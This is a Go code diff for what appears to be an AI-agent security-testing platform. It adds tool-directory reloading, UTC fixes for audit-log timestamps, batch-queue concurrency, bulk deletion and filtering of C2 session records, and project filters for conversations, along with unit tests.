 }
 
@@ -1069,6 +1198,75 @@ func PrintMCPConfigJSON(mcp MCPConfig) {
 	fmt.Println("----------------------------------------------------------------")
 }
 
+// ResolveToolsDir 将 tools_dir 解析为绝对路径（相对路径相对于 configPath 所在目录）。
+func ResolveToolsDir(toolsDir, configPath string) string {
+	toolsDir = strings.TrimSpace(toolsDir)
+	if toolsDir == "" {
+		return ""
+	}
+	if filepath.IsAbs(toolsDir) {
+		return toolsDir
+	}
+	return filepath.Join(filepath.Dir(configPath), toolsDir)
+}
+
+// MergeToolsFromDir 从目录加载工具并与 inline 列表合并：目录中的工具优先，主配置中的工具作为补充。
+func MergeToolsFromDir(toolsDir string, inlineTools []ToolConfig) ([]ToolConfig, error) {
+	dirTools, err := LoadToolsFromDir(toolsDir)
+	if err != nil {
+		return nil, err
+	}
+	existing := make(map[string]bool, len(dirTools))
+	for _, tool := range dirTools {
+		existing[tool.Name] = true
+	}
+	merged := append([]ToolConfig(nil), dirTools...)
+	for _, tool := range inlineTools {
+		if !existing[tool.Name] {
+			merged = append(merged, tool)
+		}
+	}
+	return merged, nil
+}
+
+// loadInlineSecurityToolsFromYAML 读取 config.yaml 中 security.tools（不含 tools_dir 扫描结果）。
+func loadInlineSecurityToolsFromYAML(configPath string) ([]ToolConfig, error) {
+	data, err := os.ReadFile(configPath)
+	if err != nil {
+		return nil, fmt.Errorf("读取配置文件失败: %w", err)
+	}
+	var partial struct {
+		Security struct {
+			Tools []ToolConfig `yaml:"tools"`
+		} `yaml:"security"`
+	}
+	if err := yaml.Unmarshal(data, &partial); err != nil {
+		return nil, fmt.Errorf("解析配置文件失败: %w", err)
+	}
+	if partial.Security.Tools == nil {
+		return []ToolConfig{}, nil
+	}
+	return partial.Security.Tools, nil
+}
+
+// ReloadSecurityToolsFromDir 从 tools_dir 重新加载工具并更新 cfg.Security.Tools（ApplyConfig 热重载用）。
+func ReloadSecurityToolsFromDir(cfg *Config, configPath string) error {
+	if cfg == nil || strings.TrimSpace(cfg.Security.ToolsDir) == "" {
+		return nil
+	}
+	inlineTools, err := loadInlineSecurityToolsFromYAML(configPath)
+	if err != nil {
+		return err
+	}
+	toolsDir := ResolveToolsDir(cfg.Security.ToolsDir, configPath)
+	merged, err := MergeToolsFromDir(toolsDir, inlineTools)
+	if err != nil {
+		return fmt.Errorf("从工具目录加载工具配置失败: %w", err)
+	}
+	cfg.Security.Tools = merged
+	return nil
+}
+
 // LoadToolsFromDir 从目录加载所有工具配置文件
 func LoadToolsFromDir(dir string) ([]ToolConfig, error) {
 	var tools []ToolConfig
@@ -1245,8 +1443,9 @@ func Default() *Config {
 			MaxTotalTokens: 120000,
 		},
 		Agent: AgentConfig{
-			MaxIterations:      30, // 默认最大迭代次数
-			ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟，避免异常长时间占用
+			MaxIterations:               30,  // 默认最大迭代次数
+			ToolTimeoutMinutes:            10,  // 单次工具执行默认最多 10 分钟，避免异常长时间占用
+			ShellNoOutputTimeoutSeconds:   300, // execute/exec 无新输出空闲终止（秒）；-1 关闭
 		},
 		Security: SecurityConfig{
 			Tools:    []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
@@ -1267,6 +1466,10 @@ func Default() *Config {
 				Enabled:        &on,
 			}
 		}(),
+		Monitor: func() MonitorConfig {
+			days := 90
+			return MonitorConfig{RetentionDays: &days}
+		}(),
 		Robots: RobotsConfig{
 			Session: RobotSessionConfig{
 				StrictUserIdentity: &strictRobotIdentity,

internal/config/robots_validate_test.go

@@ -0,0 +1,45 @@
+package config
+
+import "testing"
+
+func TestValidateWecomConfig(t *testing.T) {
+	t.Parallel()
+
+	tests := []struct {
+		name    string
+		cfg     RobotWecomConfig
+		wantErr bool
+	}{
+		{
+			name:    "disabled without token",
+			cfg:     RobotWecomConfig{Enabled: false, Token: ""},
+			wantErr: false,
+		},
+		{
+			name:    "enabled with token",
+			cfg:     RobotWecomConfig{Enabled: true, Token: "secret"},
+			wantErr: false,
+		},
+		{
+			name:    "enabled without token",
+			cfg:     RobotWecomConfig{Enabled: true, Token: ""},
+			wantErr: true,
+		},
+		{
+			name:    "enabled with whitespace token",
+			cfg:     RobotWecomConfig{Enabled: true, Token: "   "},
+			wantErr: true,
+		},
+	}
+
+	for _, tt := range tests {
+		tt := tt
+		t.Run(tt.name, func(t *testing.T) {
+			t.Parallel()
+			err := ValidateWecomConfig(tt.cfg)
+			if (err != nil) != tt.wantErr {
+				t.Fatalf("ValidateWecomConfig() error = %v, wantErr %v", err, tt.wantErr)
+			}
+		})
+	}
+}

internal/config/tools_reload_test.go

@@ -0,0 +1,111 @@
+package config
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestReloadSecurityToolsFromDir(t *testing.T) {
+	root := t.TempDir()
+	toolsDir := filepath.Join(root, "tools")
+	if err := os.MkdirAll(toolsDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	configPath := filepath.Join(root, "config.yaml")
+	if err := os.WriteFile(configPath, []byte(`security:
+  tools_dir: tools
+  tools:
+    - name: inline-only
+      command: inline-cmd
+      enabled: true
+      description: inline tool
+`), 0644); err != nil {
+		t.Fatal(err)
+	}
+
+	writeTool := func(name, command string) {
+		t.Helper()
+		content := "name: " + name + "\ncommand: " + command + "\nenabled: true\ndescription: test\n"
+		if err := os.WriteFile(filepath.Join(toolsDir, name+".yaml"), []byte(content), 0644); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	writeTool("alpha", "alpha-cmd")
+
+	cfg := &Config{
+		Security: SecurityConfig{
+			ToolsDir: "tools",
+			Tools: []ToolConfig{
+				{Name: "stale", Command: "stale-cmd", Enabled: true, Description: "should be removed"},
+			},
+		},
+	}
+
+	if err := ReloadSecurityToolsFromDir(cfg, configPath); err != nil {
+		t.Fatalf("reload: %v", err)
+	}
+	if len(cfg.Security.Tools) != 2 {
+		t.Fatalf("expected 2 tools, got %d", len(cfg.Security.Tools))
+	}
+
+	names := map[string]string{}
+	for _, tool := range cfg.Security.Tools {
+		names[tool.Name] = tool.Command
+	}
+	if names["alpha"] != "alpha-cmd" {
+		t.Fatalf("alpha tool missing or wrong command: %#v", names)
+	}
+	if names["inline-only"] != "inline-cmd" {
+		t.Fatalf("inline-only tool missing: %#v", names)
+	}
+	if _, ok := names["stale"]; ok {
+		t.Fatal("stale in-memory tool should not survive reload")
+	}
+
+	writeTool("beta", "beta-cmd")
+	if err := ReloadSecurityToolsFromDir(cfg, configPath); err != nil {
+		t.Fatalf("second reload: %v", err)
+	}
+	if len(cfg.Security.Tools) != 3 {
+		t.Fatalf("expected 3 tools after add, got %d", len(cfg.Security.Tools))
+	}
+	foundBeta := false
+	for _, tool := range cfg.Security.Tools {
+		if tool.Name == "beta" {
+			foundBeta = true
+			break
+		}
+	}
+	if !foundBeta {
+		t.Fatal("beta tool not found after second reload")
+	}
+}
+
+func TestMergeToolsFromDir_DirOverridesInline(t *testing.T) {
+	root := t.TempDir()
+	toolsDir := filepath.Join(root, "tools")
+	if err := os.MkdirAll(toolsDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	content := "name: shared\ncommand: dir-cmd\nenabled: true\ndescription: from dir\n"
+	if err := os.WriteFile(filepath.Join(toolsDir, "shared.yaml"), []byte(content), 0644); err != nil {
+		t.Fatal(err)
+	}
+
+	inline := []ToolConfig{
+		{Name: "shared", Command: "inline-cmd", Enabled: true, Description: "from inline"},
+	}
+	merged, err := MergeToolsFromDir(toolsDir, inline)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(merged) != 1 {
+		t.Fatalf("expected 1 tool, got %d", len(merged))
+	}
+	if merged[0].Command != "dir-cmd" {
+		t.Fatalf("dir tool should win, got command %q", merged[0].Command)
+	}
+}

internal/database/audit.go

@@ -69,12 +69,12 @@ func buildAuditLogsWhere(filter ListAuditLogsFilter) (string, []interface{}) {
 		args = append(args, filter.ResourceID)
 	}
 	if filter.Since != nil {
-		conditions = append(conditions, "created_at >= ?")
-		args = append(args, *filter.Since)
+		conditions = append(conditions, sqliteEpochGE("created_at", ">="))
+		args = append(args, formatSQLiteUTC(*filter.Since))
 	}
 	if filter.Until != nil {
-		conditions = append(conditions, "created_at <= ?")
-		args = append(args, *filter.Until)
+		conditions = append(conditions, sqliteEpochGE("created_at", "<="))
+		args = append(args, formatSQLiteUTC(*filter.Until))
 	}
 	if q := strings.TrimSpace(filter.Query); q != "" {
 		like := "%" + q + "%"
@@ -93,7 +93,9 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
 		return errors.New("audit id is required")
 	}
 	if row.CreatedAt.IsZero() {
-		row.CreatedAt = time.Now()
+		row.CreatedAt = time.Now().UTC()
+	} else {
+		row.CreatedAt = row.CreatedAt.UTC()
 	}
 	if strings.TrimSpace(row.Level) == "" {
 		row.Level = "info"
@@ -111,7 +113,7 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
 		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
 	`
 	_, err := db.Exec(query,
-		row.ID, row.CreatedAt, row.Level, row.Category, row.Action, row.Result,
+		row.ID, formatSQLiteUTC(row.CreatedAt), row.Level, row.Category, row.Action, row.Result,
 		row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
 		row.ResourceType, row.ResourceID, row.Message, detailJSON,
 	)
@@ -202,7 +204,7 @@ func (db *DB) ListAuditLogs(filter ListAuditLogsFilter) ([]*AuditLog, error) {
 
 // DeleteAuditLogsBefore removes rows older than cutoff.
 func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
-	res, err := db.Exec(`DELETE FROM audit_logs WHERE created_at < ?`, cutoff)
+	res, err := db.Exec(`DELETE FROM audit_logs WHERE `+sqliteEpochGE("created_at", "<"), formatSQLiteUTC(cutoff))
 	if err != nil {
 		return 0, err
 	}

internal/database/audit_time_test.go

@@ -0,0 +1,62 @@
+package database
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+func TestBuildAuditLogsWhere_timeFilterSQL(t *testing.T) {
+	since := time.Date(2026, 6, 16, 17, 2, 0, 0, time.UTC)
+	until := time.Date(2026, 6, 17, 3, 3, 0, 0, time.UTC)
+	where, args := buildAuditLogsWhere(ListAuditLogsFilter{Since: &since, Until: &until})
+	if !strings.Contains(where, "strftime('%s', created_at) >=") {
+		t.Fatalf("expected epoch comparison for since, got %q", where)
+	}
+	if !strings.Contains(where, "strftime('%s', created_at) <=") {
+		t.Fatalf("expected epoch comparison for until, got %q", where)
+	}
+	if len(args) != 2 {
+		t.Fatalf("expected 2 time args, got %d", len(args))
+	}
+	for i, arg := range args {
+		s, ok := arg.(string)
+		if !ok || s == "" {
+			t.Fatalf("arg %d: want non-empty UTC RFC3339 string, got %v", i, arg)
+		}
+	}
+}
+
+func TestListAuditLogs_timeFilterMixedStorageFormats(t *testing.T) {
+	root, err := os.Getwd()
+	if err != nil {
+		t.Skip(err)
+	}
+	dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
+	if _, err := os.Stat(dbPath); err != nil {
+		t.Skip("conversations.db not found")
+	}
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer db.Close()
+
+	since, _ := ParseRFC3339Time("2026-06-16T17:02:00Z")
+	until, _ := ParseRFC3339Time("2026-06-17T03:03:00Z")
+	filter := ListAuditLogsFilter{Since: &since, Until: &until, Limit: 50}
+	logs, err := db.ListAuditLogs(filter)
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, row := range logs {
+		at := row.CreatedAt.UTC()
+		if at.Before(since) || at.After(until) {
+			t.Fatalf("log %s at %s outside [%s, %s]", row.ID, at, since, until)
+		}
+	}
+}

internal/database/batch_task.go

@@ -23,6 +23,7 @@ type BatchTaskQueueRow struct {
 	LastScheduleError     sql.NullString
 	LastRunError          sql.NullString
 	ProjectID             sql.NullString
+	Concurrency           sql.NullInt64
 	Status                string
 	CreatedAt             time.Time
 	StartedAt             sql.NullTime
@@ -53,6 +54,7 @@ func (db *DB) CreateBatchQueue(
 	cronExpr string,
 	nextRunAt *time.Time,
 	projectID string,
+	concurrency int,
 	tasks []map[string]interface{},
 ) error {
 	tx, err := db.Begin()
@@ -72,8 +74,8 @@ func (db *DB) CreateBatchQueue(
 		projectIDVal = strings.TrimSpace(projectID)
 	}
 	_, err = tx.Exec(
-		"INSERT INTO batch_task_queues (id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, project_id, status, created_at, current_index) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
-		queueID, title, role, agentMode, scheduleMode, cronExpr, nextRunAtValue, 1, projectIDVal, "pending", now, 0,
+		"INSERT INTO batch_task_queues (id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, project_id, concurrency, status, created_at, current_index) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
+		queueID, title, role, agentMode, scheduleMode, cronExpr, nextRunAtValue, 1, projectIDVal, concurrency, "pending", now, 0,
 	)
 	if err != nil {
 		return fmt.Errorf("创建批量任务队列失败: %w", err)
@@ -102,14 +104,16 @@ func (db *DB) CreateBatchQueue(
 	return tx.Commit()
 }
 
+const batchQueueSelectColumns = `id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, concurrency, status, created_at, started_at, completed_at, current_index`
+
 // GetBatchQueue 获取批量任务队列
 func (db *DB) GetBatchQueue(queueID string) (*BatchTaskQueueRow, error) {
 	var row BatchTaskQueueRow
 	var createdAt string
 	err := db.QueryRow(
-		"SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE id = ?",
+		"SELECT "+batchQueueSelectColumns+" FROM batch_task_queues WHERE id = ?",
 		queueID,
-	).Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex)
+	).Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Concurrency, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex)
 	if err == sql.ErrNoRows {
 		return nil, nil
 	}
@@ -133,7 +137,7 @@ func (db *DB) GetBatchQueue(queueID string) (*BatchTaskQueueRow, error) {
 // GetAllBatchQueues 获取所有批量任务队列
 func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
 	rows, err := db.Query(
-		"SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, status, created_at, started_at, completed_at, current_index FROM batch_task_queues ORDER BY created_at DESC",
+		"SELECT "+batchQueueSelectColumns+" FROM batch_task_queues ORDER BY created_at DESC",
 	)
 	if err != nil {
 		return nil, fmt.Errorf("查询批量任务队列列表失败: %w", err)
@@ -144,7 +148,7 @@ func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
 	for rows.Next() {
 		var row BatchTaskQueueRow
 		var createdAt string
-		if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
+		if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Concurrency, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
 			return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
 		}
 		parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
@@ -164,7 +168,7 @@ func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
 
 // ListBatchQueues 列出批量任务队列（支持筛选和分页）
 func (db *DB) ListBatchQueues(limit, offset int, status, keyword string) ([]*BatchTaskQueueRow, error) {
-	query := "SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE 1=1"
+	query := "SELECT " + batchQueueSelectColumns + " FROM batch_task_queues WHERE 1=1"
 	args := []interface{}{}
 
 	// 状态筛选
@@ -192,7 +196,7 @@ func (db *DB) ListBatchQueues(limit, offset int, status, keyword string) ([]*Bat
 	for rows.Next() {
 		var row BatchTaskQueueRow
 		var createdAt string
-		if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
+		if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Concurrency, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
 			return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
 		}
 		parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
@@ -239,7 +243,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
 // GetBatchTasks 获取批量任务队列的所有任务
 func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
 	rows, err := db.Query(
-		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
+		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
 		queueID,
 	)
 	if err != nil {
@@ -358,11 +362,11 @@ func (db *DB) UpdateBatchQueueCurrentIndex(queueID string, currentIndex int) err
 	return nil
 }
 
-// UpdateBatchQueueMetadata 更新批量任务队列标题、角色和代理模式
-func (db *DB) UpdateBatchQueueMetadata(queueID, title, role, agentMode string) error {
+// UpdateBatchQueueMetadata 更新批量任务队列标题、角色、代理模式和并发数
+func (db *DB) UpdateBatchQueueMetadata(queueID, title, role, agentMode string, concurrency int) error {
 	_, err := db.Exec(
-		"UPDATE batch_task_queues SET title = ?, role = ?, agent_mode = ? WHERE id = ?",
-		title, role, agentMode, queueID,
+		"UPDATE batch_task_queues SET title = ?, role = ?, agent_mode = ?, concurrency = ? WHERE id = ?",
+		title, role, agentMode, concurrency, queueID,
 	)
 	if err != nil {
 		return fmt.Errorf("更新批量任务队列元数据失败: %w", err)
@@ -507,6 +511,42 @@ func (db *DB) CancelPendingBatchTasks(queueID string, completedAt time.Time) err
 	return nil
 }
 
+// PrepareBatchSingleTaskRun 准备单条执行：可选重置子任务，并更新队列索引与状态
+func (db *DB) PrepareBatchSingleTaskRun(queueID, taskID string, taskIndex int, resetTask, resumeQueue bool) error {
+	tx, err := db.Begin()
+	if err != nil {
+		return fmt.Errorf("开始事务失败: %w", err)
+	}
+	defer tx.Rollback()
+
+	if resetTask {
+		_, err = tx.Exec(
+			"UPDATE batch_tasks SET status = ?, conversation_id = NULL, started_at = NULL, completed_at = NULL, error = NULL, result = NULL WHERE queue_id = ? AND id = ?",
+			"pending", queueID, taskID,
+		)
+		if err != nil {
+			return fmt.Errorf("重置批量任务状态失败: %w", err)
+		}
+	}
+
+	if resumeQueue {
+		_, err = tx.Exec(
+			"UPDATE batch_task_queues SET status = ?, current_index = ?, completed_at = NULL, last_run_error = NULL WHERE id = ?",
+			"paused", taskIndex, queueID,
+		)
+	} else {
+		_, err = tx.Exec(
+			"UPDATE batch_task_queues SET current_index = ?, last_run_error = NULL WHERE id = ?",
+			taskIndex, queueID,
+		)
+	}
+	if err != nil {
+		return fmt.Errorf("更新批量任务队列状态失败: %w", err)
+	}
+
+	return tx.Commit()
+}
+
 // DeleteBatchTask 删除批量任务
 func (db *DB) DeleteBatchTask(queueID, taskID string) error {
 	_, err := db.Exec(

internal/database/c2.go

@@ -17,6 +17,9 @@ var ErrNoValidC2EventIDs = errors.New("no valid event ids")
 // ErrNoValidC2TaskIDs 批量删除任务时未提供任何合法 ID
 var ErrNoValidC2TaskIDs = errors.New("no valid task ids")
 
+// ErrNoValidC2SessionIDs 批量删除会话时未提供任何合法 ID
+var ErrNoValidC2SessionIDs = errors.New("no valid session ids")
+
 // validC2TextIDForDelete 校验 C2 文本主键（e_/t_/s_/… 等）用于批量删除入参
 func validC2TextIDForDelete(id string) bool {
 	if len(id) < 2 || len(id) > 80 {
@@ -473,6 +476,7 @@ type ListC2SessionsFilter struct {
 	Status     string // active|sleeping|dead|killed；空表示全部
 	OS         string
 	Search     string // 模糊匹配 hostname/username/internal_ip
+	Suspicious bool   // 疑似误报：离线且 hostname 为 tcp_* / 用户名为 unknown / PID 为 0
 	Limit      int    // 0 表示无限制
 }
 
@@ -497,6 +501,11 @@ func (db *DB) ListC2Sessions(filter ListC2SessionsFilter) ([]*C2Session, error)
 		kw := "%" + filter.Search + "%"
 		args = append(args, kw, kw, kw)
 	}
+	if filter.Suspicious {
+		conditions = append(conditions, `status = 'dead' AND (
+			hostname LIKE 'tcp_%' OR LOWER(COALESCE(username,'')) = 'unknown' OR COALESCE(pid, 0) = 0
+		)`)
+	}
 	query := `
 		SELECT id, listener_id, implant_uuid, COALESCE(hostname,''), COALESCE(username,''),
 			COALESCE(os,''), COALESCE(arch,''), COALESCE(pid, 0), COALESCE(process_name,''),
@@ -554,6 +563,44 @@ func (db *DB) DeleteC2Session(id string) error {
 	return nil
 }
 
+// DeleteC2SessionsByIDs 按主键批量删除会话
+func (db *DB) DeleteC2SessionsByIDs(ids []string) (int64, error) {
+	if len(ids) == 0 {
+		return 0, nil
+	}
+	const maxBatch = 500
+	if len(ids) > maxBatch {
+		ids = ids[:maxBatch]
+	}
+	clean := make([]string, 0, len(ids))
+	seen := make(map[string]struct{}, len(ids))
+	for _, id := range ids {
+		id = strings.TrimSpace(id)
+		if !validC2TextIDForDelete(id) {
+			continue
+		}
+		if _, ok := seen[id]; ok {
+			continue
+		}
+		seen[id] = struct{}{}
+		clean = append(clean, id)
+	}
+	if len(clean) == 0 {
+		return 0, ErrNoValidC2SessionIDs
+	}
+	placeholders := strings.Repeat("?,", len(clean)-1) + "?"
+	args := make([]interface{}, len(clean))
+	for i := range clean {
+		args[i] = clean[i]
+	}
+	query := `DELETE FROM c2_sessions WHERE id IN (` + placeholders + `)`
+	res, err := db.Exec(query, args...)
+	if err != nil {
+		return 0, err
+	}
+	return res.RowsAffected()
+}
+
 // ----------------------------------------------------------------------------
 // CRUD：C2 任务
 // ----------------------------------------------------------------------------

internal/database/conversation.go

@@ -3,6 +3,7 @@ package database
 import (
 	"database/sql"
 	"encoding/json"
+	"errors"
 	"fmt"
 	"os"
 	"path/filepath"
@@ -13,6 +14,9 @@ import (
 	"go.uber.org/zap"
 )
 
+// ProjectFilterUnbound 列表 API 中 project_id=__none__ 表示仅未绑定项目的对话。
+const ProjectFilterUnbound = "__none__"
+
 // Conversation 对话
 type Conversation struct {
 	ID        string    `json:"id"`
@@ -352,8 +356,8 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
 
 	conv.Pinned = pinned != 0
 
-	// 加载消息（不加载 process_details）
-	messages, err := db.GetMessages(id)
+	// 加载消息（不加载 process_details / reasoning_content，减少历史会话切换 payload）
+	messages, err := db.GetMessagesLite(id)
 	if err != nil {
 		return nil, fmt.Errorf("加载消息失败: %w", err)
 	}
@@ -361,20 +365,44 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
 	return &conv, nil
 }
 
+func conversationProjectIDColumn(alias string) string {
+	if alias != "" {
+		return alias + ".project_id"
+	}
+	return "project_id"
+}
+
+func appendConversationProjectFilter(where string, args []interface{}, projectID, alias string) (string, []interface{}) {
+	pid := strings.TrimSpace(projectID)
+	if pid == "" {
+		return where, args
+	}
+	col := conversationProjectIDColumn(alias)
+	if pid == ProjectFilterUnbound {
+		return where + fmt.Sprintf(" AND (%s IS NULL OR TRIM(COALESCE(%s, '')) = '')", col, col), args
+	}
+	return where + fmt.Sprintf(" AND %s = ?", col), append(args, pid)
+}
+
 // CountConversations 统计对话数量。
-func (db *DB) CountConversations(search string) (int, error) {
+func (db *DB) CountConversations(search, projectID string) (int, error) {
 	var count int
 	var err error
 	if search != "" {
 		searchPattern := "%" + search + "%"
-		err = db.QueryRow(
-			`SELECT COUNT(*) FROM conversations c
-			 WHERE c.title LIKE ?
-			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)`,
-			searchPattern, searchPattern,
-		).Scan(&count)
+		where := ` WHERE (c.title LIKE ?
+			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?))`
+		args := []interface{}{searchPattern, searchPattern}
+		where, args = appendConversationProjectFilter(where, args, projectID, "c")
+		err = db.QueryRow(`SELECT COUNT(*) FROM conversations c`+where, args...).Scan(&count)
 	} else {
-		err = db.QueryRow(`SELECT COUNT(*) FROM conversations`).Scan(&count)
+		where := ""
+		args := []interface{}{}
+		where, args = appendConversationProjectFilter(where, args, projectID, "")
+		if where != "" {
+			where = " WHERE" + strings.TrimPrefix(where, " AND")
+		}
+		err = db.QueryRow(`SELECT COUNT(*) FROM conversations`+where, args...).Scan(&count)
 	}
 	if err != nil {
 		return 0, fmt.Errorf("统计对话失败: %w", err)
@@ -382,27 +410,51 @@ func (db *DB) CountConversations(search string) (int, error) {
 	return count, nil
 }
 
+func conversationOrderClause(sortBy, tableAlias string) string {
+	col := "updated_at"
+	if strings.TrimSpace(strings.ToLower(sortBy)) == "created_at" {
+		col = "created_at"
+	}
+	prefix := tableAlias
+	if prefix != "" {
+		prefix += "."
+	}
+	return "ORDER BY " + prefix + col + " DESC"
+}
+
 // ListConversations 列出所有对话
-func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
+func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID string) ([]*Conversation, error) {
 	var rows *sql.Rows
 	var err error
 
 	if search != "" {
 		// 使用 EXISTS 子查询代替 LEFT JOIN + DISTINCT，避免大表笛卡尔积
 		searchPattern := "%" + search + "%"
+		orderClause := conversationOrderClause(sortBy, "c")
+		where := ` WHERE (c.title LIKE ?
+			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?))`
+		args := []interface{}{searchPattern, searchPattern}
+		where, args = appendConversationProjectFilter(where, args, projectID, "c")
+		args = append(args, limit, offset)
 		rows, err = db.Query(
 			`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
-			 FROM conversations c
-			 WHERE c.title LIKE ?
-			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)
-			 ORDER BY c.updated_at DESC
+			 FROM conversations c`+where+`
+			 `+orderClause+`
 			 LIMIT ? OFFSET ?`,
-			searchPattern, searchPattern, limit, offset,
+			args...,
 		)
 	} else {
+		orderClause := conversationOrderClause(sortBy, "")
+		where := ""
+		args := []interface{}{}
+		where, args = appendConversationProjectFilter(where, args, projectID, "")
+		if where != "" {
+			where = " WHERE" + strings.TrimPrefix(where, " AND")
+		}
+		args = append(args, limit, offset)
 		rows, err = db.Query(
-			"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations ORDER BY updated_at DESC LIMIT ? OFFSET ?",
-			limit, offset,
+			"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
+			args...,
 		)
 	}
 
@@ -458,22 +510,30 @@ const ungroupedConversationsSQL = `
 	)`
 
 // CountUngroupedConversations 统计不在任何分组中的对话数量。
-func (db *DB) CountUngroupedConversations() (int, error) {
+func (db *DB) CountUngroupedConversations(projectID string) (int, error) {
+	where := ungroupedConversationsSQL
+	args := []interface{}{}
+	where, args = appendConversationProjectFilter(where, args, projectID, "c")
 	var count int
-	if err := db.QueryRow(`SELECT COUNT(*) ` + ungroupedConversationsSQL).Scan(&count); err != nil {
+	if err := db.QueryRow(`SELECT COUNT(*) `+where, args...).Scan(&count); err != nil {
 		return 0, fmt.Errorf("统计未分组对话失败: %w", err)
 	}
 	return count, nil
 }
 
 // ListUngroupedConversations 列出不在任何分组中的对话（最近对话侧栏）。
-func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
+func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID string) ([]*Conversation, error) {
+	orderClause := conversationOrderClause(sortBy, "c")
+	where := ungroupedConversationsSQL
+	args := []interface{}{}
